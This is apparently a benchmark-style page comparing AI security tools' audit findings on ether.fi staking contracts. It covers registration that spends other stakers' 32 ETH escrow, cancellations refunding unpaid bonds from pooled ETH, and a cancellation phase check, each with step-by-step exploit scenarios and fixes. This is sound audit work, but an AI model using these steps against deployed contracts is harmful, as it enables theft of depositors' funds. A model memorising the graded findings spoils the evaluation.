src/StakingManager.sol:451Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Cancellation authenticates the original staker but does not restrict the validator to a pending deposit** -
src/StakingManager.sol:447-454```solidity title="src/StakingManager.sol:451-454"
IEtherFiNode.VALIDATOR_PHASE validatorPhase = nodesManager.phase(_validatorId);
bidIdToStakerInfo[_validatorId].staker = address(0);
nodesManager.unregisterValidator(_validatorId);
```
**2. Unregistration accepts EXITED validators as completed withdrawals** -
src/EtherFiNodesManager.sol:484-486```solidity title="src/EtherFiNodesManager.sol:484-486"
if (phase(_validatorId) == IEtherFiNode.VALIDATOR_PHASE.EXITED) {
// Called by EtherFiNodesManager.fullWithdraw
_setValidatorPhase(safeAddress, _validatorId, IEtherFiNode.VALIDATOR_PHASE.FULLY_WITHDRAWN);
```
**3. The cancellation caller receives the full stake from pending deposit custody** -
src/StakingManager.sol:459-462```solidity title="src/StakingManager.sol:459-462"
bool isFullStake = (msg.sender != liquidityPoolContract);
if (isFullStake) {
_refundDeposit(msg.sender, stakeAmount);
}
```
After selling the transferable TNFT and waiting for the oracle-observed exit, the original delegated staker can take 32 ETH belonging to pending stakers. Deleting the node association also prevents the TNFT buyer's withdrawal.
- Exploit scenario
-
Not specified.
- Recommendation
-
Require delegated cancellations to be in STAKE_DEPOSITED before changing any state or refunding custody funds. Restrict LP cancellations to their explicitly supported pending phases as well. Separate cancellation unregistration from full-withdrawal unregistration so cancellation cannot reach EXITED-to-FULLY_WITHDRAWN processing.
-
Malicious users could use the ETH of legitimate users and mint themselves NFTs etherfi-4 · 6 writeups Critical
V12
Cross-flow registration spends other stakers' escrow
src/StakingManager.sol:145Predicted severity: Critical- Root cause
-
The public 32 ETH registration path does not require
bidIdToStakerInfo[_validatorId].sourceOfFund == DELEGATED_STAKING. Staker identity is incorrectly treated as sufficient authority to spend the contract's delegated-deposit escrow and select both NFT beneficiaries. - Impact
-
When
StakingManagerholds at least 32 ETH of pending delegated deposits, an admitted BNFT depositor can redirect that escrow into a validator whose TNFT and BNFT are both minted to the depositor. The affected delegated depositors lose the backing required for their own registrations or cancellation refunds. - Description
-
The public registration overload always calls
_registerValidatorwith a 32 ETH deposit and both NFT recipients set tomsg.sender. Its authorization checks only that the caller equals the recorded staker, without checkingsourceOfFund. A BNFT depositor admitted throughLiquidityPool._batchDepositis recorded as that same user with sourceEETH, but the pool sends no ETH toStakingManagerat this stage. While this validator is stillSTAKE_DEPOSITED, the user can invoke the public registration overload and spend ETH held for pending delegated deposits. The phase transition and initial NFT mints permit this path, giving the caller both validator entitlements despite contributing only the BNFT-side deposit.
Pashov (Claude Opus 5.5 high)
Delegated-staking batchRegisterValidators does not check the source of funds, so BNFT-flow stakers can register a 32 ETH validator using other users' pending deposits
src/StakingManager.sol:145Predicted severity: High- Root cause
-
The source-of-funds check (
sourceOfFund == DELEGATED_STAKING) is missing from the delegated-flowbatchRegisterValidators. The function trusts that any bid whosestakerequals msg.sender was funded by msg.sender with 32 ETH held in StakingManager. - Impact
-
Theft of up to 32 ETH per call from delegated stakers' escrowed deposits. The attacker ends up owning a fully funded 32 ETH validator (T-NFT and B-NFT) after paying only 2 ETH in normal BNFT mode, or 0 ETH when
isLpBnftHolderis enabled. The victims' laterbatchRegisterValidatorsorbatchCancelDepositcalls revert for lack of balance, so their funds are effectively stolen and frozen. The LP'snumPendingDepositsalso drifts. - Description
-
The public, permissionless
batchRegisterValidators(bytes32,uint256[],DepositData[])is meant for the delegated (solo, 32 ETH) staking flow. Its only authorization check is in_registerValidator:bidIdToStakerInfo[id].staker == msg.sender. It never checks thatbidIdToStakerInfo[id].sourceOfFund == DELEGATED_STAKING. For bids deposited through the LiquidityPool BNFT flow (batchDepositAsBnftHolder/batchDepositWithLiquidityPoolAsBnftHolder),stakeris set to the BNFT player. So that player can call the delegated register function directly. StakingManager then deposits 32 ETH from its own balance into the beacon chain, mints both the T-NFT and the B-NFT to the BNFT player, and sets the validator LIVE. The only ETH StakingManager holds is the 32 ETH per validator escrowed by delegated stakers whose deposits are still in STAKE_DEPOSITED. The cancel path does enforce the flow split (require(sourceOfFund == DELEGATED_STAKING, "Wrong flow")inbatchCancelDeposit), but the register path does not. - Exploit scenario
-
1. Victims call
StakingManager.batchDepositWithBidIds{value: 32 ether * k}(delegated flow). StakingManager now holds 32k ETH.2. The attacker is a registered BNFT holder and calls
LiquidityPool.batchDepositAsBnftHolder{value: 2 ether}(bids, 1), or the 0-ETH LP-mode variant.bidIdToStakerInfo[id] = (attacker, EETH).3. The attacker calls
StakingManager.batchRegisterValidators(0x0, [id], [depositData for 32 ETH with withdrawal credentials of the safe])._registerValidatorpasses the staker check, sets phase LIVE (STAKE_DEPOSITED->LIVE is valid), deposits 32 ETH from the victims' escrow, and mints the T-NFT and B-NFT to the attacker.4. Later the attacker exits the validator (as T-NFT owner) and
fullWithdrawpays about 32 ETH plus rewards to the attacker. The victims can no longer register or cancel. - Recommendation
-
In the delegated
batchRegisterValidators, addrequire(bidIdToStakerInfo[_validatorId[x]].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKING, "Wrong flow")for each id. Symmetrically, the LP-onlybatchRegisterValidatorsshould requiresourceOfFund != DELEGATED_STAKING. Otherwise a delegated staker can register through the LP (the LP pays 1 ETH and decrementsnumPendingDeposits) and then cancel through the delegated path to recover their full 32 ETH, leaving the LP's 1 ETH stranded in the beacon chain.
Devin Security (Deep)
Solo-staker registration path accepts pool-flow validators and pays the 32 ETH deposit from StakingManager's balance
src/StakingManager.sol:145Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An admin-registered bond holder can turn a validator reserved through the pool into a fully funded validator they own outright, with the 32 ETH taken from other users' deposits waiting inside StakingManager.
##### What's wrong
This is a missing flow check. The three-argument
batchRegisterValidatorsis meant for solo stakers who already sent 32 ETH into StakingManager, but it only checks that the caller is the recorded staker. Validators reserved through the pool record the bond holder as staker, so a bond holder can use this path, and StakingManager then pays 32 ETH from its own balance and mints both NFTs to the caller.##### Who can do it
Bob is a solo staker who sends 32 ETH to
StakingManager.batchDepositWithBidIdsand plans to register his key a little later. Mallory controls an address the ether.fi admin registered as a bond holder. She reserves a validator throughLiquidityPool.batchDepositAsBnftHolder(posting a 2 ETH bond, or 0 ETH if the pool is in pool-as-bond-holder mode), then callsStakingManager.batchRegisterValidators(0x0, [id], [depositData])with a 32 ETH deposit message signed by her own validator key.- Mallory is the recorded staker of a pool-flow validator, which today means an admin-registered bond holder.
- StakingManager holds at least 32 ETH of other users' pending solo deposits at that moment; it keeps solo deposits between deposit and registration.
- The validator is still in the STAKE_DEPOSITED phase.
##### What they get
Mallory ends up with a live 32 ETH validator paid for with Bob's deposit, and both the T-NFT and B-NFT are minted to her, so on exit the full 32 ETH principal and all rewards go to her. Bob's later registration or cancellation fails because StakingManager no longer holds his ETH. She nets about 30 ETH per validator after her 2 ETH bond (32 ETH in pool-as-bond-holder mode), limited only by how much pending solo-staker ETH StakingManager holds.
##### How it works
1.
LiquidityPool._batchDepositcallsStakingManager.batchDepositWithBidIds, whose_processDepositsetsbidIdToStakerInfo[bidId].stakerto the bond holder (src/StakingManager.sol:426).2. The bond holder calls the three-argument
StakingManager.batchRegisterValidators(src/StakingManager.sol:145-156), which has nosourceOfFundcheck and calls_registerValidator(id, msg.sender, msg.sender, data, msg.sender, 32 ether).3.
_registerValidatorpasses the staker check (line 391), moves the phase to LIVE (line 399), and sends 32 ETH from StakingManager's own balance to the beacon deposit contract (line 403).4. The T-NFT and B-NFT are minted to the caller (lines 410-411), so
EtherFiNodesManager.fullWithdrawlater pays the principal to the caller.5.
batchCancelDepositdoes checksourceOfFund == DELEGATED_STAKING(line 214), which shows the flow check exists elsewhere but was left out of registration. - Exploit scenario
-
Not specified.
- Recommendation
-
In the three-argument
batchRegisterValidators, requirebidIdToStakerInfo[id].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKINGfor every id; in the six-argument version require the source to be EETH or ETHER_FAN. Add a test that deposits through the pool as a bond holder, funds StakingManager with a separate solo deposit, and asserts the solobatchRegisterValidatorscall for the pool-flow id reverts.
Claude Security (Sonnet 5.5)
Public batchRegisterValidators has no source-of-funds check, so an LP-flow BNFT holder can register with 32 ETH taken from other stakers' pending deposits
src/StakingManager.sol:154Predicted severity: Medium- Root cause
-
Vulnerable symbol: batchRegisterValidators
Preconditions: Attacker is an LP BNFT holder registered by an admin; StakingManager holds at least 32 ETH of pending DELEGATED_STAKING deposits at the time of the call; Attacker's bid is in STAKE_DEPOSITED phase, so the LP 1 ETH register step has not yet been done
Offending code:
_registerValidator(_validatorId[x], msg.sender, msg.sender, _depositData[x], msg.sender, 32 ether);
- Impact
-
Theft of other users' pending 32 ETH stake deposits held in StakingManager, about 30 ETH net per validator for the attacker. It also bypasses the LP's 1 ETH then oracle-approved 31 ETH flow and leaves the LP's numPendingDeposits and 2 ETH accounting inconsistent.
- Description
-
The only authorization in the public batchRegisterValidators path is
bidIdToStakerInfo[id].staker == msg.sender(line 391). It never checkssourceOfFund == DELEGATED_STAKING, unlike batchCancelDeposit (line 214, "Wrong flow"). A BNFT holder whose bid was matched through the LP flow (staker = holder, source EETH) can therefore call this non-payable function. It deposits 32 ETH from StakingManager's own balance at line 403, which holds other users' pending DELEGATED_STAKING deposits. - Exploit scenario
-
1) An admin-registered BNFT holder calls LiquidityPool.batchDepositAsBnftHolder with 2 ETH per validator. StakingManager records staker = holder, source = EETH, phase = STAKE_DEPOSITED. 2) While StakingManager holds at least 32 ETH of other users' pending deposits from the public payable batchDepositWithBidIds, the holder calls StakingManager.batchRegisterValidators(0x0, [bidId], [depositData]) directly instead of going through the LP. 3)
_registerValidatorpasses the staker check._tNftRecipientis not the LP, so the phase goes to LIVE with no oracle credential confirmation.deposit{value: 32 ether}spends the pooled ETH, and both the T-NFT and B-NFT are minted to the holder. 4) The holder controls a 32 ETH validator funded by other stakers. Those stakers' later batchRegisterValidators or batchCancelDeposit calls revert or underpay because the contract balance is gone. - Recommendation
-
In the public batchRegisterValidators, require
bidIdToStakerInfo[id].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKINGfor every id, as batchCancelDeposit already does. Also make the 32 ETH funding explicit by tracking per-staker deposited ETH, or make the function payable and require msg.value == 32 ether * n.
Claude Security (Opus 5.5)
Public 32-ETH batchRegisterValidators accepts EETH (BNFT-flow) validator IDs and pays for them out of other delegated stakers' escrowed ETH
src/StakingManager.sol:154Predicted severity: High- Root cause
-
Vulnerable symbol: batchRegisterValidators(bytes32,uint256[],DepositData[])
Preconditions: Attacker has been registered as a BNFT holder by the LiquidityPool admin; StakingManager holds at least 32 ETH from DELEGATED_STAKING deposits that have not been registered yet; Attacker can choose an EETH-approved operator's bid (any approved operator's active bid)
Offending code:
_registerValidator(_validatorId[x], msg.sender, msg.sender, _depositData[x], msg.sender, 32 ether);
- Impact
-
The StakingManager balance holds only the escrowed 32 ETH stakes of DELEGATED_STAKING users who have not registered yet. The attacker spends one of those stakes on a validator whose keys they control and receives both NFTs, so they own the whole principal and rewards. The victim's later registration or cancel fails because the balance is short (the cancel refund at line 473 reverts), so the victim's 32 ETH is effectively stolen. In LP-bnft mode the attacker paid 0 ETH (batchDepositWithLiquidityPoolAsBnftHolder). Otherwise they paid 2 ETH, a net gain of about 30 ETH per validator, and they can repeat this up to maxBatchDepositSize per call while funds remain.
- Description
-
The validator IDs passed to the public solo-staker register function are user-supplied. The only check on them is
bidIdToStakerInfo[id].staker == msg.sender(line 391). Nothing confirmssourceOfFund == DELEGATED_STAKING, although batchCancelDeposit (line 214) does check this. A BNFT holder is recorded as the staker of EETH-sourced IDs (LiquidityPool.sol:320 passes msg.sender as _staker). That holder can call this function, which sends 32 ETH from the StakingManager balance to the beacon deposit contract (line 403) and mints both the TNFT and the BNFT to the caller (lines 410-411). Also CWE-863: This is outside the injection lens but is a confirmed path, so it is reported anyway. The public batchRegisterValidators takes caller-chosen validator IDs and only checks bidIdToStakerInfo[id].staker == msg.sender (line 391). It never checks sourceOfFund == DELEGATED_STAKING, unlike batchCancelDeposit at line 214. A BNFT holder is recorded as staker for its EETH-sourced IDs (LiquidityPool.sol:320), so it can push 32 ETH of the StakingManager balance, which belongs to other users' pending delegated deposits, to the beacon chain and have TNFT and BNFT minted to itself. Also CWE-843: Each StakerInfo record carries a sourceOfFund tag. A DELEGATED_STAKING record means 32 ETH is held in StakingManager, while an EETH or ETHER_FAN record from LiquidityPool._batchDeposit has nothing held there. The public batchRegisterValidators only checks bidIdToStakerInfo.staker == msg.sender and never checks the tag. It then calls depositContractEth2.deposit{value: 32 ether} (line 403) with the contract's pooled ETH and mints both T-NFT and B-NFT to the caller. The two cancel paths do check the tag (lines 214 and 232), but this path does not. - Exploit scenario
-
1) The attacker is a registered BNFT holder. They call LiquidityPool.batchDepositWithLiquidityPoolAsBnftHolder([bidId],1), which costs 0 ETH in LP mode, or batchDepositAsBnftHolder with 2 ETH. StakingManager records bidIdToStakerInfo[bidId] = (attacker, EETH) and the phase becomes STAKE_DEPOSITED. 2) A victim calls StakingManager.batchDepositWithBidIds with 32 ETH, which stays in StakingManager until they register. 3) The attacker calls StakingManager.batchRegisterValidators(0x0,[bidId],[depositData]) directly. The depositData is built for 32 ETH using the safe's withdrawal credentials and the attacker's own validator key. The staker check passes and the phase moves STAKE_DEPOSITED->LIVE. 32 ETH of the victim's escrow goes to the beacon chain, and the TNFT and BNFT are minted to the attacker. 4) Later the attacker exits the validator and collects the full payout as holder of both the TNFT and the BNFT. The victim's cancel or register reverts for lack of balance.
- Recommendation
-
In the public batchRegisterValidators, require bidIdToStakerInfo[_validatorId[x]].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKING for every ID, the same check batchCancelDeposit uses. A better fix is to track escrowed ETH per validator so a registration can only spend the stake deposited for that validator ID. Also CWE-863: In the public batchRegisterValidators, require bidIdToStakerInfo[_validatorId[x]].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKING, mirroring batchCancelDeposit. In the LP-only overload, require the source to be EETH or ETHER_FAN. Better still, track the ETH escrowed per validator ID so a registration can only spend the ETH deposited for that ID. Also CWE-843: In the public batchRegisterValidators, require bidIdToStakerInfo[_validatorId[x]].sourceOfFund == ILiquidityPool.SourceOfFunds.DELEGATED_STAKING, the same check batchCancelDeposit uses. Better still, track escrowed ETH per bid and only deposit what that bid funded.
Vercel Security Review
bNFT reservations can consume other stakers' 32 ETH through full-stake registration
src/StakingManager.sol:153Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A registered bNFT staker reserves a validator for only 2 ETH** -
src/LiquidityPool.sol:268-270```solidity title="src/LiquidityPool.sol:268-270"
function batchDepositAsBnftHolder(uint256[] calldata _candidateBidIds, uint256 _numberOfValidators, uint256 _validatorIdToShareSafeWith) public payable whenNotPaused returns (uint256[] memory) {
require(!isLpBnftHolder, "IncorrectBnftMode");
return _batchDeposit(_candidateBidIds, _numberOfValidators, 2 ether, _validatorIdToShareSafeWith);
```
**2. The public full-stake entrypoint accepts the same reservation** -
src/StakingManager.sol:153-155```solidity title="src/StakingManager.sol:153-155"
for (uint256 x; x < _validatorId.length; ++x) {
_registerValidator(_validatorId[x], msg.sender, msg.sender, _depositData[x], msg.sender, 32 ether);
}
```
The helper checks staker identity at line 391, not
sourceOfFund, and assigns both NFTs to the caller.**3. Registration spends pooled custody funds** -
src/StakingManager.sol:403-406```solidity title="src/StakingManager.sol:403-406"
depositContractEth2.deposit{value: _depositAmount}(_depositData.publicKey, withdrawalCredentials, _depositData.signature, depositDataRoot);
nodesManager.incrementNumberOfValidators(1);
auctionManager.processAuctionFeeTransfer(_validatorId);
```
When other delegated stakes are pending, their 32 ETH backs the attacker's validator and withdrawal rights, leaving victims' registrations or refunds insolvent.
- Exploit scenario
-
Not specified.
- Recommendation
-
Require DELEGATED_STAKING source for the public full-stake registration overload. Enforce source-specific registration amounts, callers, and NFT recipients inside _registerValidator so LP reservations can only follow the LP-controlled 1 ETH/31 ETH approval flow.
-
ETH sent to wrong address on cancellation etherfi-5 · 9 writeups Critical
V12
Zero-bond cancellations drain pooled ETH
src/LiquidityPool.sol:294Predicted severity: Critical- Root cause
-
Cancellation assumes every pool-backed validator has a refundable external 2 ETH bond, but pool BNFT mode funds the entire validator from pool assets. No per-ID bond or funding-mode record constrains the refund.
- Impact
-
An untrusted registered holder can directly drain liquid staking assets while pool BNFT mode is enabled. The pool's
totalValueInLpis not reduced by these payments, so the same sequence also leaves depositor balances backed by nonexistent liquidity. - Description
-
In liquidity-pool BNFT mode, a registered holder can allocate a validator through
batchDepositWithLiquidityPoolAsBnftHolderwithout providing any ETH. The allocation still records that external holder as the validator's staker.LiquidityPool._batchCancelDepositcalculates refunds solely from phase, assigning 2 ETH to an unregistered validator and 1 ETH to a validator waiting for approval, regardless of which mode funded it. The staking cancellation path accepts the recorded holder, unregisters the validator, and reactivates the bid. Consequently the holder can repeatedly allocate and cancel the same bid, collecting a 2 ETH payment from pool assets each time without depositing a bond.
Codex Security (GPT-6 Sol)
A registered holder can drain pool ETH by cancelling zero-funded validators
src/LiquidityPool.sol:294Predicted severity: High- Root cause
-
The deposit path stores the caller as staker but does not store how much that caller paid. Cancellation assumes every BNFT staker paid 2 ETH, so it pays that amount even when the LP-funded mode collected zero.
- Impact
-
Repeatable transfer of LP ETH to a lower-privilege registered holder can undercollateralize eETH. Exploitation requires an admin to enable LP-funded mode and register the holder.
- Description
-
In LP-funded BNFT mode, a registered holder creates a validator without paying ETH, then cancels it before registration to receive a fixed 2 ETH refund. The bid is reactivated, so the holder can repeat the transfer while the pool has liquidity.
- Exploit scenario
-
Zero-value holder deposit -> staker record -> fixed cancellation refund -> LP ETH transfer and bid reset
- Recommendation
-
Record each validator's actual holder contribution and refund no more than that stored amount. A zero-funded LP validator must refund zero to the holder.
Pashov (Claude Opus 5.5 high)
In LP-as-BNFT-holder mode, cancelling a deposit refunds 1-2 ETH of LiquidityPool funds to a staker who deposited nothing
src/LiquidityPool.sol:389Predicted severity: High- Root cause
-
The refund logic assumes the staker always deposited 2 ETH (normal BNFT mode). It does not account for LP-as-BNFT-holder mode, where the staker contributes nothing and the 1 ETH registration deposit is paid by the LP itself.
- Impact
-
A registered BNFT player can drain the LiquidityPool (eETH holders' ETH) 2 ETH per validator per round. The cancelled bids re-enter the auction (
reEnterAuction), so deposit then cancel can be repeated until the pool is empty.totalValueInLpkeeps reporting ETH that is gone, which breaks withdrawals and share pricing. - Description
-
When
isLpBnftHolderis true,batchDepositWithLiquidityPoolAsBnftHoldercalls_batchDepositwith_stakerDepositAmountPerValidator = 0, so the BNFT player sends no ETH._batchCancelDepositdoes not check the mode. It always computesreturnAmountas 2 ETH per STAKE_DEPOSITED validator (1 ETH if WAITING_FOR_APPROVAL) and sends it to_bnftStakerfrom the LiquidityPool's balance. That balance backs eETH (totalValueInLp).totalValueInLpis not decreased, so the pool's books also become insolvent. - Exploit scenario
-
1. The admin enables
updateBnftMode(true). The attacker is a registered BNFT holder.2. The attacker calls
batchDepositWithLiquidityPoolAsBnftHolder(bids, 25)with 0 ETH. This only needstotalValueInLp >= 32 ether * 25.3. The attacker calls
batchCancelDeposit(validatorIds). Every validator is STAKE_DEPOSITED, soreturnAmount = 50 ETH. StakingManager cancels the deposits and the LP_sendFunds 50 ETH to the attacker.4. The attacker repeats with the re-entered bids.
- Recommendation
-
When
isLpBnftHolderis true, do not send any refund to the staker (the ETH belongs to the LP). Properly account for any ETH that does return. Better: record the per-validator staker deposit amount at deposit time and refund exactly that.
Pashov (Codex GPT-6 Sol high)
LP-funded BNFT deposits can be cancelled for unearned ETH refunds
audit/src/LiquidityPool.sol:294Predicted severity: Critical- Root cause
-
The LP-funded deposit variant passes zero as the staker deposit amount while _batchCancelDeposit applies fixed 2 ETH or 1 ETH refund amounts without recording what the holder paid.
- Impact
-
A registered BNFT holder can repeatedly extract 2 ETH from pooled funds without contributing ETH, potentially draining all available pool liquidity and leaving eETH liabilities underbacked.
- Description
-
In LP-funded BNFT mode, a registered BNFT holder starts validators without paying the 2 ETH BNFT contribution, yet cancellation refunds that contribution from pooled ETH.
- Exploit scenario
-
When isLpBnftHolder is true, a registered holder calls batchDepositWithLiquidityPoolAsBnftHolder with active bids and zero msg.value, then batchCancelDeposit before registration. Each cancellation sends 2 ETH to that holder despite no contribution.
- Recommendation
-
Record each validator’s actual holder-funded contribution and refund only that amount; in LP-funded mode return the reserved ETH to pool accounting without sending it to the caller.
Devin Security
B-NFT holder can drain liquidity pool ETH by depositing 0 ETH and cancelling for a 2 ETH refund
src/LiquidityPool.sol:298Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any approved B-NFT holder can take 2 ETH of pooled user funds per validator slot, over and over, while the pool runs in LP-funded B-NFT mode.
##### What's wrong
This is a refund-without-deposit bug. In LP-funded B-NFT mode the B-NFT holder deposits 0 ETH, but
_batchCancelDepositrefunds 2 ETH per cancelled validator (1 ETH after registration) based only on the validator phase. It never checks how much the caller actually paid.##### Who can do it
Alice and many other users hold eETH backed by ETH in the LiquidityPool. Mallory is a B-NFT holder that the ether.fi admin registered. The admin has switched the pool to LP-funded B-NFT mode. Mallory calls
batchDepositWithLiquidityPoolAsBnftHolderwith 0 ETH and then callsbatchCancelDepositon the new validator IDs. She repeats this.- Mallory is registered through
registerAsBnftHolder, which only an admin can do.-
isLpBnftHolderis true (set by an admin throughupdateBnftMode).- Active bids exist from node operators approved for the EETH source.
-
totalValueInLp >= 32 ether * nfor the batch size.##### What they get
Mallory receives 2 ETH of pool ETH for each cancelled validator and pays nothing but gas. The bid goes back into the auction on cancel, so she can reuse the same bids and repeat until the pool's ETH is gone. The stolen ETH belongs to every eETH holder. The pool's
totalValueInLpis never reduced, so eETH keeps claiming ETH the pool no longer holds. Withdrawals then fail or are paid out of other users' funds.##### How it works
1. Mallory calls
batchDepositWithLiquidityPoolAsBnftHolder(LiquidityPool.sol:298-301). This requiresmsg.value == 0because_stakerDepositAmountPerValidatoris 0 (LiquidityPool.sol:317).2. StakingManager records Mallory as the staker and sets each validator to STAKE_DEPOSITED (StakingManager.sol:425-441).
3. Mallory calls
batchCancelDeposit(LiquidityPool.sol:381-383)._batchCancelDepositadds 2 ETH per validator that is not WAITING_FOR_APPROVAL (LiquidityPool.sol:391-398).4.
StakingManager.batchCancelDepositAsBnftHolderchecks that Mallory is the staker, unregisters the validator, and re-activates the bid (StakingManager.sol:448-457). It refunds nothing itself because the caller is the pool.5. The pool sends
returnAmountto Mallory out of pooled ETH and leavestotalValueInLpunchanged (LiquidityPool.sol:403). - Exploit scenario
-
Not specified.
- Recommendation
-
Record the amount each B-NFT holder actually deposited per validator, for example in a mapping set inside
_batchDeposit. Refund only that amount, minus the 1 ETH already sent to the beacon deposit contract after registration. Alternatively, refund 0 ETH when the validator was created inisLpBnftHoldermode. Also updatetotalValueInLpfor any ETH that leaves the pool. To check the fix, add a test that enablesupdateBnftMode(true), deposits withbatchDepositWithLiquidityPoolAsBnftHolder, cancels, and asserts that the pool's ETH balance and the B-NFT holder's balance are unchanged.
Devin Security (Deep)
Pool-as-bond-holder mode refunds 2 ETH of pooled funds for deposits that cost 0 ETH
src/LiquidityPool.sol:298Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When the pool is switched into the mode where it holds the bond itself, any address the admin registered as a bond holder can reserve validators for free, cancel them, and collect 2 ETH of other depositors' ETH per validator, again and again until the pool is empty.
##### What's wrong
This is a refund that does not match what was paid. In
isLpBnftHoldermode_batchDeposittakes 0 ETH from the caller, butbatchCancelDeposithas no mode check and always pays back a fixed 2 ETH (1 ETH after registration) per validator out of the pool's own balance.##### Who can do it
Alice deposits ETH into the ether.fi pool and holds eETH. Acme Staking is an address the ether.fi admin registered as a bond holder with
registerAsBnftHolder, and the admin has switched the pool into "pool holds the bond" mode withupdateBnftMode(true). Mallory controls the Acme Staking address. She callsbatchDepositWithLiquidityPoolAsBnftHolderwith 25 open bids, thenbatchCancelDepositwith the returned validator ids, in the same block, and repeats.-
isLpBnftHolderis true (admin toggle; the mode is implemented and exercised bytest_bnftFlowWithLiquidityPoolAsBnftHolder).- The attacker address is registered in
bnftHoldersIndexes(an admin action).- Active auction bids from operators approved for the EETH source exist; cancelled bids go back into the auction, so the same bids can be reused.
- The pool has at least 32 ETH per validator in
totalValueInLpand 2 ETH per validator of real balance.##### What they get
Mallory receives 2 ETH per validator per cycle, up to 50 ETH per transaction, and can repeat until the pool's ETH balance is gone. The refund does not reduce
totalValueInLp, so Alice and every other eETH holder still see their balance but the pool can no longer honor withdrawals. The loss falls on all eETH holders; nothing outside the pool is touched.##### How it works
1.
LiquidityPool.batchDepositWithLiquidityPoolAsBnftHolder(src/LiquidityPool.sol:298-301) calls_batchDepositwith a per-validator deposit of 0, so themsg.valuecheck at line 317 passes with no ETH sent.2.
StakingManager.batchDepositWithBidIdsrecords the caller as the staker of each new validator (src/StakingManager.sol:426) and the phase becomes STAKE_DEPOSITED.3. The caller calls
LiquidityPool.batchCancelDeposit(src/LiquidityPool.sol:381-383), which does not check the mode and adds 2 ether per validator toreturnAmount(line 396).4.
StakingManager.batchCancelDepositAsBnftHolderaccepts because the caller is the recorded staker (src/StakingManager.sol:449) and returns the bids to the auction (line 457).5.
_sendFund(_bnftStaker, returnAmount)(src/LiquidityPool.sol:403) pays 2 ETH per validator from the pool's balance without changingtotalValueInLp. - Exploit scenario
-
Not specified.
- Recommendation
-
Store the amount each staker actually paid per validator (or the bond mode in effect) at deposit time and refund only that amount; in pool-as-bond-holder mode the refund for unregistered and registered validators should be 0. Any refund that does come out of pooled ETH should also reduce
totalValueInLp. Verify with a test that enablesupdateBnftMode(true), deposits as a registered holder, cancels, and asserts both the holder's and the pool's ETH balances are unchanged.
Claude Security (Sonnet 5.5)
Cancelling an LP-as-BNFT-holder deposit refunds 1 or 2 ETH to a holder who deposited nothing
src/LiquidityPool.sol:403Predicted severity: Medium- Root cause
-
Vulnerable symbol: _batchCancelDeposit
Preconditions: LP-BNFT mode is enabled (isLpBnftHolder = true), which is non-default; Attacker is an admin-registered BNFT holder and has an active bid from an EETH-approved operator
Offending code:
_sendFund(_bnftStaker, returnAmount);
- Impact
-
Drains LP's liquid ETH, which belongs to eETH holders and pending withdrawal claimants, while totalValueInLp stays unchanged. This leaves the pool insolvent and makes withdrawals revert in _sendFund.
- Description
-
In LP-BNFT mode, batchDepositWithLiquidityPoolAsBnftHolder takes 0 ETH from the holder (_stakerDepositAmountPerValidator = 0), but _batchCancelDeposit refunds fixed constants (2 ETH before register, 1 ETH after register) without consulting the mode or any recorded contribution, paying them out of LP's pooled ETH.
- Exploit scenario
-
Admin enables updateBnftMode(true). A registered BNFT holder (also an operator approved for EETH, holding an active bid) calls batchDepositWithLiquidityPoolAsBnftHolder with 0 ETH and then LiquidityPool.batchCancelDeposit for the same ids. Each cancel pays 2 ETH from LP. The bid re-enters the auction, so the loop can be repeated in one transaction or one block. The
totalValueInLp + msg.value >= 32 ether * nguard in _batchDeposit only reads accounting, which the drain never reduces, so it keeps passing until the real balance is exhausted. Toggling the mode between deposit and cancel gives the same result. Reasoned from code; not executed. - Recommendation
-
Record each validator's holder contribution at deposit time (or the mode) and refund only what was contributed. In LP mode refund 0 to the holder; for the 1 ETH forfeited in a post-register cancel, charge the LP's own pool accounting. Also make updateBnftMode revert while numPendingDeposits > 0 or any validator is in WAITING_FOR_APPROVAL.
Claude Security (Opus 5.5)
In LP-as-BNFT-holder mode, cancelling refunds 2 ETH (or 1 ETH) per validator that the caller never paid, letting a BNFT holder drain the pool
src/LiquidityPool.sol:403Predicted severity: High- Root cause
-
Vulnerable symbol: _batchCancelDeposit
Preconditions: Attacker is a registered BNFT holder (admin registerAsBnftHolder); Admin has enabled LP-as-BNFT-holder mode via updateBnftMode(true); Active auction bids from operators eligible for the EETH source exist; LiquidityPool not paused
Offending code:
_sendFund(_bnftStaker, returnAmount);
- Impact
-
A non-admin role (registered BNFT holder) can steal all ETH held by the LiquidityPool, which belongs to eETH holders. totalValueInLp is not reduced, so eETH stays overvalued, and later withdrawals and validator spin-ups fail for lack of balance.
- Description
-
When isLpBnftHolder is true, batchDepositWithLiquidityPoolAsBnftHolder lets a registered BNFT holder start validators with 0 ETH. batchCancelDeposit (open to any staker) still always pays the caller 2 ETH per STAKE_DEPOSITED validator, or 1 ETH per WAITING_FOR_APPROVAL validator, out of the LP's ETH. The refund is authorized only by 'caller is the staker', not by what the caller actually deposited. Also CWE-372: batchDepositWithLiquidityPoolAsBnftHolder is non-payable and calls _batchDeposit with a 0 ETH per-validator stake. _batchCancelDeposit still refunds a fixed 2 ETH (STAKE_DEPOSITED) or 1 ETH (WAITING_FOR_APPROVAL) per validator to the caller. Nothing records how much the BNFT player actually deposited, so the refund comes out of eETH holders' liquidity.
- Exploit scenario
-
With LP mode on, a registered BNFT holder calls batchDepositWithLiquidityPoolAsBnftHolder(bids, 25) and sends no ETH. In the same or the next transaction they call batchCancelDeposit on the 25 new IDs. All are STAKE_DEPOSITED, so the LP sends them 50 ETH, and StakingManager puts the bids back into the auction. The deposit check
totalValueInLp >= 32 ether * nkeeps passing because the refunds never reduce totalValueInLp. Repeating the loop drains the LP's ETH balance. Cancelling after registration adds another 1 ETH loss per validator, since the LP already funded the 1 ETH beacon deposit. - Recommendation
-
